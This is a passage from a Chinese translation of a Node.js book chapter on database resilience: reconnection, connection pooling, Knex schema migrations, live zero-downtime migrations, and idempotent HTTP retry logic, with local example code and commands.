disconnect()方法设置类的kill标志,并通过调用其.end()方法指示底层的pg.Client连接终止。这个kill标志需要区分手动断开连接触发的end事件与连接失败触发的end事件。
最后,类被导出。请注意,如果你要为其他数据库包构建这样的重新连接库,那么暴露应用程序需要访问的任何其他方法都是有意义的。
注意
这个数据库重连模块不一定适用于生产环境。根据你用它封装的包,可能还有其他错误情况。与任何数据库连接库一样,最好进行实验并复现许多不同的失败情况。
一旦文件完成,确保初始化一个新的 npm 项目并安装所需的依赖项。然后,执行 reconnect.js Node.js 服务。一旦服务运行起来,你可以发送请求确认它连接到了数据库:
$ curl http://localhost:3000/foo/hello
> {"time":"2020-05-18T00:31:58.494Z","echo":"hello"}
$ curl http://localhost:3000/health
> OK
在这种情况下,你应该从服务器那里得到一个成功的响应。我收到的结果打印在第二行。该时间戳由 Postgres 服务计算,而不是 Node.js 应用程序。
现在确认了你的 Node.js 服务能够与数据库通信,是时候断开连接了。在这种情况下,你要关闭整个 Postgres 数据库。切换到运行 Postgres 的终端窗口,按 Ctrl + C 来关闭它。
现在,你应该在运行 Node.js 服务的终端看到以下消息:
connected.
db error terminating connection due to administrator command
db error Connection terminated unexpectedly
disconnected.
reconnecting...
reconnecting...
当进程首次启动时,显示了第一个连接成功的消息。当 Node.js 服务检测到断开连接时,立即显示了两个错误消息和断开连接的消息。最后,重连消息每秒显示一次,因为服务尝试重新连接。
此时,您的应用程序处于降级状态。但服务仍在运行。向服务发出两个新请求,第一个请求相同的端点,第二个请求健康端点:
$ curl http://localhost:3000/foo/hello
> {"statusCode":503,"error":"Service Unavailable",
> "message":"disconnected"}
$ curl http://localhost:3000/health
> {"statusCode":error":"Internal Server Error",
> "message":"no db connection"}
在这种情况下,两个端点都失败了。第一个端点在尝试进行数据库查询时失败,第二个端点因为数据库连接的connected标志被设置为假而失败。然而,如果应用程序支持不依赖于数据库连接的其他端点,它们仍然可以成功。
最后,切换回您杀死 Postgres 数据库的终端窗口,并重新启动它。由于 Docker 镜像已经下载到您的机器上,容器应该会相对快速地启动。一旦 Postgres 数据库恢复正常,您的 Node.js 服务应该建立一个新的连接。运行服务时显示的日志如下:
reconnecting...
reconnecting...
connected.
在这种情况下,我的 Node.js 服务能够重新连接到 Postgres 数据库。最后再次运行curl命令,您应该会再次获得通过的响应。
连接池
提高应用程序数据库连接的弹性的另一种方法是使用多个连接,或者更为人熟知的连接池。在弹性方面,如果其中一个连接失败,那么另一个连接仍将保持打开状态。
当配置使用连接池时,应用程序通常会尝试维护一定数量的连接。当一个连接断开时,应用程序会尝试创建一个新连接来进行补偿。当应用程序选择运行数据库查询时,它会从连接池中选择一个可用的连接来传递查询。
大多数数据库包似乎默认支持某种形式的连接池。这些示例中使用的流行pg包也不例外。pg.Pool类可用,并且大多数情况下可以与pg.Client交换,尽管它具有一些不同的配置选项并公开一些新属性。
创建一个名为dbconn/pool.js的新文件,并将示例 8-9 的内容添加到其中。
示例 8-9. dbconn/pool.js
#!/usr/bin/env node
// npm install fastify@3.2 pg@8.2
const { Pool } = require('pg');
const db = new Pool({
host: 'localhost', port: 5432,
user: 'user', password: 'hunter2',
database: 'dbconn', max: process.env.MAX_CONN || 10
});
db.connect();
const server = require('fastify')();
server.get('/', async () => (
await db.query("SELECT NOW() AS time, 'world' AS hello")).rows[0]);
server.listen(3000, () => console.log(`http://localhost:3000`));
连接建立在大多数情况下是相同的,但在这种情况下,添加了一个名为max的属性。该属性表示进程应该与 Postgres 数据库建立的最大连接数。在这种情况下,它从MAX_CONN环境变量中获取值,如果缺少则默认为 10。在内部,pg.Pool类也默认使用大小为 10 的连接池。
应用程序应该使用多少连接?确定最佳方式是在生产环境中运行一些真实的基准测试,以某种请求速率生成流量,并查看维持所需吞吐量所需的连接数量。也许你会发现默认的 10 个连接对你来说有效。无论如何,你应该尽量使用最少数量的数据库连接来满足性能需求。保持这个数字低对于几个原因都很重要。
减少数据库连接的一个原因是,数据库能够接受的连接数量是有限的。事实上,Postgres 数据库默认接受的连接数量是 100。这个数字可以针对每个数据库服务器进行配置。像 AWS RDS 这样的托管 Postgres 安装根据服务等级有不同的连接限制。
如果超过可用连接数,那么 Postgres 数据库服务器将拒绝后续连接。这是你可以在本地模拟的情况。你正在 Docker 中运行的 Postgres 服务器应配置为最多 100 个连接。在两个单独的终端窗口中运行以下命令。第一个将使用多达 100 个连接运行 dbconn/pool.js 服务,第二个将向服务发送如此多的请求,以至于它将被迫使用整个连接池:
$ MAX_CONN=100 node ./dbconn/pool.js
$ autocannon -c 200 http://localhost:3000/
注意运行 Postgres 的终端窗口。在测试运行时,不应该看到任何不良反应。
完成 Autocannon 测试后终止 Node.js 服务。接下来,再次运行 dbconn/pool.js 服务,但这次使用比服务器配置的池大小更大,并再次运行相同的 Autocannon 基准测试:
$ MAX_CONN=101 node ./dbconn/pool.js
$ autocannon -c 200 http://localhost:3000/
这次,你应该看到 Postgres 服务器出现“FATAL: sorry, too many clients already”错误。一旦 Autocannon 测试完成,甚至可能会发现吞吐量略有下降。
如果你想知道特定 Postgres 数据库配置为处理多少连接(例如在使用托管实例时),运行以下查询:
SELECT * FROM pg_settings WHERE name = 'max_connections';
最大连接数可以增加,但服务器处理连接需要至少一定的开销。如果不这样,那么默认将是无限制的。选择连接数量时,你可能需要确保每个进程使用的连接数乘以同时运行的进程数量小于 Postgres 服务器可以处理的连接数的一半。这一半很重要,因为如果部署新的进程集来替换旧的进程,则新旧实例需要重叠运行的时间非常短。
如果你的服务器最多允许 100 个连接,并且你运行了 6 个服务实例,那么每个进程可以使用的最大连接数是 8:
100 / 2 = 50 ; 50 / 6 = 8.3
我在一些公司见过的一种策略是,它们会超过最大进程数量(比如扩展到使用总共 80 个连接的 10 个进程)。但在部署时,他们会在低谷期间将实例的安全数量缩减回来(在本例中为 6),进行部署,然后再扩展。虽然我不能完全推荐这种方法,但如果说我从未做过这样的事情,那我就是在说谎。
注意
特别是在 Node.js 项目中,有一件需要小心的事情就是要求一个数据库单例模块。根据我的经验,有一个文件需要一个数据库包,建立连接,并导出数据库实例是很常见的。require()语句非常容易形成一个这样的模块的蜘蛛网。这可能导致旁路进程进行不必要的连接,而且无法看到进行了这样的连接。
连接池不仅仅关乎弹性,也关乎性能。例如,Postgres 数据库无法处理通过同一连接发送的多个查询。相反,每个查询都需要在下一个查询发送之前完成,逐个串行处理。
这种查询的串行处理可以在示例 8-10 中看到。
示例 8-10. dbconn/serial.js
#!/usr/bin/env node // npm install pg@8.2 const { Client } = require('pg');
const db = new Client({
host: 'localhost', port: 5432,
user: 'user', password: 'hunter2',
database: 'dbconn'
});
db.connect();
(async () => {
const start = Date.now();
await Promise.all( ![1
db.query("SELECT pg_sleep(2);"),
db.query("SELECT pg_sleep(2);"),
]);
console.log(`took ${(Date.now() - start) / 1000} seconds`);
db.end();
})();
同时发送两个较慢的查询。
该应用程序首先与 Postgres 数据库建立单个连接,然后同时发送两个请求。每个请求都使用pg_sleep()函数,这在本例中将导致连接暂停两秒,模拟较慢的查询。当我在本地运行该应用程序时,我会得到“耗时 4.013 秒”的响应消息。
通过将两个Client替换为Pool并重新运行应用程序来修改示例 8-10 代码。这将导致一个最大大小为 10 的连接池。pg包使用这两个连接来运行两个查询。在我的机器上,程序现在打印出消息“耗时 2.015 秒”。
使用 Knex 进行模式迁移
Knex 是一个流行的 SQL 查询构建器包。它被许多高级 ORM(对象关系映射)包所依赖。如果您曾经在与 SQL 数据库交互的几个 Node.js 项目上工作过,那么很可能您曾经接触过 Knex。
虽然 Knex 通常以其生成 SQL 查询的能力而闻名(减少危险地连接 SQL 字符串的需求),但本节介绍的功能是其较少人知的模式迁移特性。
模式迁移是以一种递增、可逆和可以使用代码表示的方式对数据库模式进行的更改。由于应用程序数据存储需求不断变化,这些模式迁移需要是递增的。每个新功能可能由一个或多个迁移表示。由于偶尔需要回滚应用程序更改,这些模式迁移也必须是可逆的。最后,由于存储库应该是表示应用程序的真实来源,因此将模式迁移检入存储库非常方便。
每个模式迁移最终都会执行 SQL 查询来改变数据库的状态。通常,后续的迁移会在先前迁移中所做的更改基础上构建。因此,数据库迁移的应用顺序非常重要。构建数据库迁移的最基本方法可能是维护一个编号的 SQL 文件列表,并依次执行它们,配对的 SQL 文件用于撤销更改:
000001.sql 000001-reverse.sql
000002.sql 000002-reverse.sql
000003.sql 000003-reverse.sql
这种方法的一个问题是文件名并不十分描述性。哪个文件不小心把所有用户变成了管理员?另一个问题是两个人同时进行代码更改可能导致的竞争条件。当两个工程师在两个单独的拉取请求中创建了名为000004.sql的文件时,后合并的分支需要修改提交以将文件重命名为000005.sql。
一种常见的迁移方法,与 Knex 采用相同的方式,是使用时间戳和特征名称作为文件名。这样做可以保持顺序,解决名称冲突的问题,给文件起一个描述性的名称,甚至让开发者知道模式迁移最初的概念时间。将查询包装在非 SQL 文件中允许结合迁移和反向迁移。这些迁移文件名看起来像这样:
20200523133741_create_users.js
20200524122328_create_groups.js
20200525092142_make_admins.js
每次检出应用程序的新版本时,并不需要应用整个迁移列表。相反,只需要应用比上次运行的迁移更新的迁移。Knex 和大多数其他模式迁移工具在一个特殊的数据库表中跟踪运行的迁移。使表格特殊的唯一之处是应用程序本身可能永远不会触及它。这样的表格可以简单到只有一行,包含“上次运行的模式文件名”列,也可以复杂到包含每次运行迁移的元信息。重要的是它保持对最后一次运行迁移的某种引用。在 Knex 中,这个表的默认名称是knex_migrations。
在开发团队中作为使用数据库迁移的应用程序的一部分进行开发时,工作流程通常要求您经常从中央仓库拉取源代码。如果对模式迁移目录提交了任何更改,那么您随后需要应用一些模式修改。如果不这样做,那么更新后的应用程序代码可能与旧的数据库模式不兼容,导致运行时错误。一旦在本地应用了迁移,您就可以自由进行自己的修改了。
现在您已经了解了模式迁移背后的理论,可以开始编写您自己的模式迁移了。
配置 Knex
首先,创建一个名为migrations/的新目录,表示将使用迁移的新应用程序,并初始化一个新的 npm 项目。接下来,在此目录中安装knex包。为了方便运行迁移脚本,您还需要将knex作为全局包安装——这在常规应用程序中并非必需,您可以在本地安装的 Knex 周围使用package.json脚本包装它,但目前这样做会更方便。^(6) 最后,初始化一个 Knex 项目,这将为您创建一个配置文件。您可以通过运行以下命令来完成所有这些操作:
$ mkdir migrations && cd migrations
$ npm init -y
$ npm install knex@0.21 pg@8.2
$ npm install -g knex@0.21
$ knex init
Knex 为您创建了一个名为knexfile.js的文件,该文件被knex CLI 实用程序用于连接数据库。该文件包含配置,并且可以用像 YAML 这样的声明格式来表示,但通常会引入环境变量,这就是为什么 JavaScript 是默认格式的原因。打开文本编辑器查看文件内容。该文件当前导出一个表示环境名称的键和表示配置的值的单个对象。默认情况下,development环境使用 SQLite,而staging和production数据库设置为 Postgres。
通过在knexfile.js中定义不同的环境,您可以将迁移应用到这些不同环境的数据库服务器上。对于此项目,您只会使用单个development配置。修改您的migrations/knexfile.js文件,使其类似于示例 8-11。
示例 8-11. migrations/knexfile.js
module.exports = {
development: {
client: 'pg',
connection: {
host: 'localhost', port: 5432,
user: 'user', password: 'hunter2',
database: 'dbconn'
}
}
};
完成后,您可以测试数据库连接了。运行以下命令:
$ knex migrate:currentVersion
> Using environment: development
> Current Version: none
该命令显示正在使用的环境。(默认为development,但可以使用NODE_ENV环境变量进行覆盖。)它还显示迁移版本,在本例中为none。如果出现错误,您可能需要修改连接文件,或者返回并运行定义在“运行 PostgreSQL”中的 Docker 命令以启动 Postgres。
创建模式迁移
现在你可以连接到数据库了,是时候创建你的第一个模式迁移了。在这种情况下,迁移将在数据库中创建一个users表。运行以下命令创建迁移,然后查看迁移列表:
$ knex migrate:make create_users
$ ls migrations
knex migrate:make命令已经创建了一个新的migrations/目录,这是 Knex 用于跟踪模式迁移文件的目录。它还为你生成了一个模式迁移文件。在我的情况下,迁移文件的名称是20200525141008_create_users.js。你的文件名将包含一个更新的日期作为一部分。
接下来,修改你的模式迁移文件,使其包含在示例 8-12 中显示的内容。
示例 8-12. migrations/migrations/20200525141008_create_users.js
module.exports.up = async (knex) => {
await knex.schema.createTable('users', (table) => {
table.increments('id').unsigned().primary();
table.string('username', 24).unique().notNullable();
});
await knex('users')
.insert([
{username: 'tlhunter'},
{username: 'steve'},
{username: 'bob'},
]);
};
module.exports.down = (knex) => knex.schema.dropTable('users');
默认情况下,模式迁移导出两个函数,一个名为up(),另一个名为down()。在这种情况下,仍然导出这两个函数,尽管使用了稍微现代化的 JavaScript 语法。当应用模式时,将调用up()方法;当“回滚”或“撤销”模式时,将调用down()方法。
这两个方法利用 Knex 查询构建器接口来创建和删除表格。正在创建的表格名为users,有两列,id和username。Knex 使用的查询构建器语法相对清晰地映射到发送到数据库的底层 SQL 查询。up()方法还向表格中插入了三个用户。
down()方法执行相反的操作。从技术上讲,由于up()方法执行了两个操作(创建表和添加用户),down()方法应镜像这些操作(删除用户并销毁表)。但由于删除表会隐式销毁其中的条目,因此down()方法只需删除users表。
接下来,运行以下命令获取 Knex 当前已知的迁移列表:
$ knex migrate:list
> No Completed Migration files Found.
> Found 1 Pending Migration file/files.
> 20200525141008_create_users.js
在这种情况下,存在一个未应用的单一迁移。
应用迁移
现在你的迁移准备就绪,是时候运行它了。运行以下命令来应用迁移:
$ knex migrate:up
> Batch 1 ran the following migrations:
> 20200525141008_create_users.js
knex migrate:up会根据迁移文件名的顺序应用下一个迁移。在这种情况下,只有一个要执行的迁移。
现在,执行以下命令在 Postgres Docker 容器内部运行psql命令,确认你的迁移已经执行:
$ docker exec \
-it distnode-postgres \
psql -U user -W dbconn
在提示时,输入密码 hunter2 然后按回车键。完成后,你现在正在使用一个交互式的 Postgres 终端客户端。在此客户端中输入的命令将在dbconn数据库中执行。现在,获取数据库中存储的表格列表将非常有用。在提示符内,输入 \dt 就可以做到这一点。在我的机器上运行该命令时,我得到以下结果:
Schema | Name | Type | Owner
--------+----------------------+-------+-------
public | knex_migrations | table | user
public | knex_migrations_lock | table | user
public | users | table | user
users条目指的是在运行数据库迁移时创建的用户表。接下来,要查看此表内的条目,请键入命令SELECT * FROM users;,然后再次按回车。您应该看到类似于这样的结果:
id | username
----+----------
1 | tlhunter
2 | steve
3 | bob
在这种情况下,作为迁移脚本的一部分创建的三个用户被显示。
Knex 查询构建器已将您通过链式 JavaScript 对象方法进行的查询转换为等效的 SQL 查询。在这种情况下,生成在数据库内部的表可以通过以下 SQL 查询创建:
CREATE TABLE users (
id serial NOT NULL,
username varchar(24) NOT NULL,
CONSTRAINT users_pkey PRIMARY KEY (id),
CONSTRAINT users_username_unique UNIQUE (username));
当您仍在运行 Postgres 客户端时,不妨查看 Knex 创建的迁移表。再运行另一个查询,SELECT * FROM knex_migrations;,然后按回车。在我的机器上,我得到了以下结果:
id | name | batch | migration_time
----+--------------------------------+-------+---------------------------
2 | 20200525141008_create_users.js | 1 | 2020-05-25 22:17:19.15+00
在这种情况下,唯一执行的迁移是20200525141008_create_users.js。还存储了有关查询的一些附加元信息。由于迁移信息存储在数据库中,任何开发人员都可以为远程数据库主机(如生产数据库)运行额外的迁移,而无需跟踪先前运行了哪些迁移。
另一个表knex_migrations_lock则没有那么有趣。它用于创建锁定,以防多人同时尝试运行迁移,这可能会导致数据库损坏。
令人兴奋的不止一次迁移,你可以创建另一个迁移。第二次迁移建立在第一次迁移的基础之上。再次运行命令创建新的迁移文件:
$ knex migrate:make create_groups
接下来,修改已创建的迁移文件。使文件类似于示例 8-13 中的代码。
示例 8-13. migrations/migrations/20200525172807_create_groups.js
module.exports.up = async (knex) => {
await knex.raw(`CREATE TABLE groups (
id SERIAL PRIMARY KEY,
name VARCHAR(24) UNIQUE NOT NULL)`);
await knex.raw(`INSERT INTO groups (id, name) VALUES
(1, 'Basic'), (2, 'Mods'), (3, 'Admins')`);
await knex.raw(`ALTER TABLE users ADD COLUMN
group_id INTEGER NOT NULL REFERENCES groups (id) DEFAULT 1`);
};
module.exports.down = async (knex) => {
await knex.raw(`ALTER TABLE users DROP COLUMN group_id`);
await knex.raw(`DROP TABLE groups`);
};
这一次,执行的是原始查询,而不是使用查询构建器。在表示架构迁移时,这两种方法都可以。事实上,某些查询可能难以使用查询构建器表示,并且最好通过使用原始查询字符串来处理。
此查询创建了一个名为groups的额外表,并且还修改了users表,使其具有引用groups表的group_id列。在这种情况下,第二次迁移绝对依赖于第一次迁移。
现在您的第二次迁移准备就绪,请继续应用它。这一次,您将使用略有不同的命令:
$ knex migrate:latest
此命令告诉 Knex 运行每个迁移,从当前数据库表示的迁移后开始,直到最终迁移。在这种情况下,仅运行了一个迁移,具体为create_groups迁移。一般来说,您可能会频繁运行这个版本的migrate命令,例如每当您从仓库的主分支拉取时。
回滚迁移
有时错误的模式更改会出现在迁移文件中。也许这样的模式更改是破坏性的,并导致数据丢失。或者可能是模式更改添加了对一个新功能的支持,最终这个功能被放弃了。无论如何,这样的迁移更改都需要被撤销。当这种情况发生时,你可以运行以下命令来撤销最后一个迁移:
$ knex migrate:down
在我的情况下,当我在本地运行此命令时,我得到以下输出:
Batch 2 rolled back the following migrations:
20200525172807_create_groups.js
一旦这个命令被运行,第二个迁移将被回滚,但第一个迁移仍然存在。在这种情况下,在create_groups迁移的down()方法中的 SQL 语句已经被执行。如果你不相信,请随时运行knex migrate:list命令。
Knex 无法强制要求降级迁移完全撤销升级迁移所做的更改。这最终取决于工程师。不幸的是,有些操作确实没有相应的撤销方法。例如,想象一下以下的升级和降级迁移:
-- WARNING: DESTRUCTIVE MIGRATION!
-- MIGRATE UP
ALTER TABLE users DROP COLUMN username;
-- MIGRATE DOWN
ALTER TABLE users ADD COLUMN username VARCHAR(24) UNIQUE NOT NULL;
在这种情况下,升级迁移会删除username列,而降级迁移则会重新添加username列。但现在该列中存在的数据已经被破坏,没有任何逆向迁移也无法找回它。更重要的是,假设表中至少有一个用户,降级迁移将失败,因为唯一约束条件无法满足——每个用户名都将被设置为 null 值!
这些问题有时是在代码提交合并后才被发现的。例如,也许一个糟糕的迁移被合并然后在测试环境中运行了。此时,测试数据库中的所有用户账户都已损坏,可能需要修复。一些组织会在每晚的任务中将生产数据复制到测试环境,并对用户数据进行匿名化。在这种情况下,数据最终将在测试环境中得到修复。但并非所有的生产环境都有这样的保护措施。
在这些情况下,迁移不应该在生产环境中运行。Knex 的工作方式是,它将每个迁移依次运行,直到最近的被运行。解决这些问题的一种方法是在数据库受到影响的地方(在这种情况下是测试环境和开发者的本地环境)运行适当的迁移下撤销命令。接下来,完全删除错误的迁移文件。这可能可以在单个回滚提交中完成。
后来,当未来的迁移在生产数据库上运行时,破坏性迁移将完全不存在,数据损失应该可以避免。
实时迁移
几乎不可能精确计时数据库迁移,使其恰好在应用程序代码更改部署时发生。 这两个操作之间的时间差异进一步复杂化,尤其是在需要运行多个服务实例时,旧版本和新版本在部署期间重叠时,以及当数据库表包含需要回填的大量行时的迁移。
这种时间差异可能导致应用程序部署瞬间中断。 图 8-2 显示了这种情况的发生方式。

图 8-2. 中断迁移时间轴
在这种情况下,应用程序在 15:00 正常运行。 在 15:01,应用了一次迁移,应用程序代码与数据库模式不兼容。 应用程序目前处于中断状态。 接下来,在 15:02 进行代码部署。 一旦这样做,应用程序和模式现在再次兼容。
缓解这种不兼容性的一种方法是将应用程序置于“维护模式”。 在这种模式下,用户的请求在到达应用程序之前被阻塞。 一种做法是配置反向代理以提供静态维护页面,部署应用程序代码并应用数据库迁移,然后禁用维护页面。 如果您的应用程序仅在一天中的某些时间段内使用,并且仅由有限地理区域的用户使用,则在非工作时间进行这种迁移可能是可以接受的。 但是,如果您在全天都有流量,则这种方法将导致用户体验不佳。
实时迁移 是一种不会导致应用程序离线的迁移方式。 简单操作,如添加一个新的可选数据库列,可以通过单个提交进行。 该提交可以包含用于添加列和读写该列的代码更改,前提是先运行迁移。 然而,更复杂的迁移则需要多个提交,每个提交都包含不同的代码更改和迁移更改的组合,以防止发生破坏性变更。
实时迁移场景
举例来说,假设您的应用程序正在使用以下数据库表:
CREATE TABLE people (
id SERIAL,
fname VARCHAR(20) NOT NULL,
lname VARCHAR(20) NOT NULL);
与这个表交互的相应应用程序代码如下:
async function getUser(id) {
const result = await db.raw(
'SELECT fname, lname FROM people WHERE id = $1', [id]);
const person = result.rows[0];
return { id, fname: person.fname, lname: person.lname };
}
async function setUser(id, fname, lname) {
await db.raw(
'UPDATE people SET fname = $1, lname = $2 WHERE id = $3',
[fname, lname, id]);
}
然而,有一天你的公司意识到存在用户的名字不符合名字和姓氏的模式,对于所有相关人员来说,保持单个名称条目更好。^(7) 在这种情况下,你希望用一个name列替换现有的fname和lname列。你还希望复制现有的名称列以供新名称列使用,而且一切操作不能导致应用程序停机。
这是多阶段在线迁移的完美场景。在这种情况下,从旧模式到新模式的过渡可以用三个提交来表示。
提交 A:开始过渡
对于这第一步,你将添加新的name列,并配置应用程序将数据写入新列,但从旧的fname和lname列或新的name列中读取数据,无论哪个有数据。
为了使这项工作生效,需要运行几个迁移查询。首先,需要添加新的name列。尽管最终需要与现有名称列相同的NOT NULL约束,但现在不能添加该约束。因为这些列最初将没有数据,并且未满足的约束将导致ALTER查询失败。
需要做的另一个更改是删除以前名称列上的NOT NULL约束。这是因为新添加的行不会包含旧列中的数据。
下面是up()迁移查询的样子:
ALTER TABLE people ADD COLUMN name VARCHAR(41) NULL;
ALTER TABLE people ALTER COLUMN fname DROP NOT NULL;
ALTER TABLE people ALTER COLUMN lname DROP NOT NULL;
然后,代码应该从新列中读取数据(如果有的话),或者退而求其次,从旧列中读取数据,同时写入新的name列。在这种情况下,name列的空值表示该行尚未过渡到新格式。作为第一次提交的一部分,你还需要重构应用程序,以使用单个name属性,而不是分开的fname和lname属性。
代码更改如下所示:
async function getUser(id) {
const result = await db.raw(
'SELECT * FROM people WHERE id = $1', [id]);
const person = result.rows[0];
const name = person.name || `${person.fname} ${person.lname}`;
return { id, name };
}
async function setUser(id, name) {
await db.raw(
'UPDATE people SET name = $1 WHERE id = $2',
[name, id]);
}
此时,你可以将迁移和代码更改合并到一个版本控制提交中。但是,在部署代码更改之前,你需要先应用迁移。这是因为应用程序代码现在期望name列是存在的,就像setUser()函数中所见。
提交 B:回填
现在是在数据库中回填name列的时候了。回填是指以前缺失的数据被追加进来的过程。在这种情况下,name列需要设置为fname和lname字段的组合。
这样的操作可以用单个 SQL 查询来表示。在这个例子中,up()模式迁移可能会运行以下 SQL 命令:
UPDATE people SET name = CONCAT(fname, ' ', lname) WHERE name IS NULL;
如果您的数据库数据量很大,那么此查询将需要很长时间,并且将导致锁定许多行。当这种情况发生时,与数据库的某些交互将需要等待迁移完成。这实际上给您的应用程序引入了停机时间,而这正是您试图通过实时迁移避免的!
为了解决这个问题,您可能需要将查询分解,并针对数据库中较小的数据集运行它。例如,您可以通过添加附加子句,修改查询以每次影响 1000 行数据块:
WHERE name IS NULL AND id >= 103000 AND id < 104000
在这个例子中,迁移正在进行第 103 次迭代的循环。
其他回填操作可能需要额外的工作。例如,如果您有一个包含用户 GitHub 数字 ID 的列,并且想要添加一个包含他们 GitHub 用户名的列,那么您需要一个复杂的应用程序来遍历数据库中的每条记录,进行 GitHub API 请求,然后写回数据。这样的回填可能需要几天的时间才能完成。
不需要更改应用程序代码以配合此提交,因此您的应用程序不应该需要进行部署。
提交 C:完成过渡
最后,您可以添加新列的约束并删除旧列。还可以修改应用程序代码,只查看新列并忽略先前的名称。
up()迁移以完成此过程将涉及以下查询:
ALTER TABLE people ALTER COLUMN name SET NOT NULL;
ALTER TABLE people DROP COLUMN fname;
ALTER TABLE people DROP COLUMN lname;
在同一个提交中,您还可以完成将getUser()方法转换为不再包含现在已丢失的fname和lname列的后备操作:
async function getUser(id) {
const result = await db.raw(
'SELECT name FROM people WHERE id = $1', [id]);
return { id, name: result.rows[0].name };
}
在这种情况下,setUser()方法不需要任何更改,因为它已经写入新列。在这种情况下,迁移可以在部署之前或之后运行。
这个多阶段实时迁移的时间线现在类似于图 8-3。虽然比以前复杂得多,但确实导致应用程序始终与数据库兼容。

图 8-3. 工作迁移时间线
在这种情况下,应用程序在 15:00 运行正常。在 15:01 时运行第一个迁移。由于只是添加了应用程序忽略的新列,应用程序仍然与模式兼容。接下来,在 15:02 左右,发生了 A 部署。应用程序仍然与模式兼容,现在正在向新列写入数据并从所有列读取数据。在 15:03 进行迁移 B 并进行数据回填。代码仍然兼容,并且遇到具有数据的name列或空的name列的行。大约在 15:04 进行另一个部署,代码只从新的name列中读取。最后,在 15:05 左右,进行最终的模式迁移。
这只是一种实时迁移的示例。当您对数据库执行其他变更时,您需要修改涉及的步骤和查询。一个经验法则是在生产环境执行迁移之前始终在本地或分段环境中进行测试。测试套件通常并未考虑架构变更,因此很难发现迁移失败。
幂等性和消息弹性
客户端需要知道服务器执行的写操作结果;毕竟,他们请求执行写操作是有原因的。例如,如果用户正在与之交互的 Web 服务器发送消息到帐户服务器以进行购买,则 Web 服务器需要向用户代理提供操作结果。如果购买失败,那么用户可能希望再试一次,或者他们可能想购买其他物品。如果成功,那么用户期望在其帐户中少有一些钱。但是,如果 Web 服务器不知道帐户服务器的写操作结果,该怎么办呢?
分布式应用程序通过网络相互发送消息进行通信。应用程序不仅不可靠——Node.js 服务器在处理请求时可能会抛出异常——它们通信的网络本身也不可靠。通常在这些情况下需要处理两种类型的错误。第一种与使用的底层协议有关,例如无法通过 TCP 与远程主机通信。第二种与使用的更高级别协议有关,例如通过 HTTP 发生的 500 错误。
处理高级错误通常更容易。操作失败时,服务器通过 HTTP 向客户端提供有关该失败的信息。然后客户端可以使用这些信息做出明智的决定。例如,404 响应意味着正在操作的资源不存在。根据客户端执行的工作,这可能不是什么大问题,例如,如果客户端正在轮询以查看资源是否已创建,或者这可能是一个很大的问题,例如,如果有人正在检查自己是否仍在职。
低级错误需要更多工作。这些错误通常涉及通信中断,而且无法总是知道服务器是否收到消息。如果确实收到消息,也无法确定服务器是否处理了消息。图 8-4 展示了这些不同情景的处理方式。

图 8-4. 协议错误
在第一个示例中,发生了高级别的错误。在这种情况下,请求/响应生命周期成功完成,并向客户端传达了高级别的 HTTP 协议错误。在第二个示例中,服务器确实接收并处理了请求(例如进行了数据库更改),但客户端没有收到响应。在第三个示例中,服务器既没有接收也没有处理请求。在这种情况下,客户端不能必然区分第二种和第三种情况。
从底层的 Node.js 网络 API 向应用程序代码提供了一系列有限的错误。这些错误适用于使用的高级协议,如 HTTP 或 gRPC。表 8-3 包含了这些错误及其含义的列表。这些错误代码通过 Error#code 属性提供,并通过错误回调、事件发射器错误事件和承诺拒绝进行公开。
表 8-3. Node.js 网络错误
| 错误 | 上下文 | 歧义 | 含义 |
|---|---|---|---|
EACCES |
服务器 | 不适用 | 由于权限问题无法监听端口 |
EADDRINUSE |
服务器 | 不适用 | 由于另一个进程已占用,无法监听端口 |
ECONNREFUSED |
客户端 | 否 | 客户端无法连接到服务器 |
ENOTFOUND |
客户端 | 否 | 服务器的 DNS 查找失败 |
ECONNRESET |
客户端 | 是 | 服务器关闭了与客户端的连接 |
EPIPE |
客户端 | 是 | 与服务器的连接已关闭 |
ETIMEDOUT |
客户端 | 是 | 服务器未及时响应 |
第一个错误,EACCESS 和 EADDRINUSE,通常在进程生命周期的早期发生,当服务器尝试进行监听时。EACCESS 表示运行进程的用户没有权限在端口上进行监听,通常是非 root 用户尝试监听低端口(即 1024 及以下)时的情况。EADDRINUSE 则是在另一个进程已经在指定的端口和接口上进行监听时发生。
其他的错误适用于客户端和消息的弹性处理。ECONNREFUSED 和 ENOTFOUND 发生在网络连接过程的早期阶段。它们可以出现在每个单独的消息之前,例如没有保持活动连接的 HTTP 请求。或者它们可以在长期连接的早期阶段,如 gRPC 中发生。值得注意的是,这些错误发生在消息发送到服务器之前,因此当它们被显示时,不会存在关于服务器是否接收并处理了消息的歧义。
最后三个错误可能发生在网络会话中间,并且带有消息传递的歧义性。它们可以在服务器接收和处理消息之前或之后发生,导致 Figure 8-4 中第三种情况的发生。对于这些错误,不可能确定是否接收到了消息。
根据情况和消息发送的属性,客户端可以尝试后续交付消息。
HTTP 重试逻辑
“HTTP 请求与响应”已经涵盖了有关 HTTP 的一些细节,但在本节中,特别考虑了消息的弹性,尤其是可以重复请求的条件。图 8-5 包含了一个流程图,您可以在设计自己的重试逻辑时参考。

图 8-5. HTTP 重试流程图
首先,来自表 8-3 的低级错误仍然适用。如果一个 HTTP 请求导致 ECONNREFUSED 或 ENOTFOUND 的网络错误,那么客户端可以自由地尝试再次请求。然而,网络错误 ECONNRESET、EPIPE 以及 HTTP 的 5XX 范围内的错误,需要进一步考虑。如果请求被视为幂等,那么可以重试;否则,在此时应该将请求视为失败。如果收到 HTTP 4XX 错误,则消息也应该失败。如果没有收到 HTTP 错误,则请求成功发送,流程完成。
表 8-4 包含经常由 HTTP API 支持的流行 HTTP 方法列表,以及这些方法的详细信息,例如它们是否幂等或可能具有破坏性。
表 8-4. HTTP 方法矩阵
| 方法 | 幂等性 | 破坏性 | 安全性 | 4XX | 5XX | 不明确 | 目的 |
|---|---|---|---|---|---|---|---|
GET |
是 | 否 | 是 | 不重试 | 重试 | 重试 | 检索资源 |
POST |
否 | 否 | 否 | 不重试 | 不重试 | 不重试 | 创建资源 |
PUT |
是 | 是 | 否 | 不重试 | 重试 | 重试 | 创建或修改资源 |
PATCH |
否 | 是 | 否 | 不重试 | 重试 | 重试 | 修改资源 |
DELETE |
是 | 是 | 否 | 不重试 | 重试 | 重试 | 移除资源 |
此表基于许多假设,并要求 HTTP API 遵循 HTTP 标准,如RFC7231中定义的那些标准。例如,GET 请求不应修改任何数据(也许会对辅助系统进行写入,以跟踪速率限制或分析,但否则,主要数据存储不应受到影响)。如果 API 违反了 HTTP 标准,那么不能再对重试安全性做任何假设。
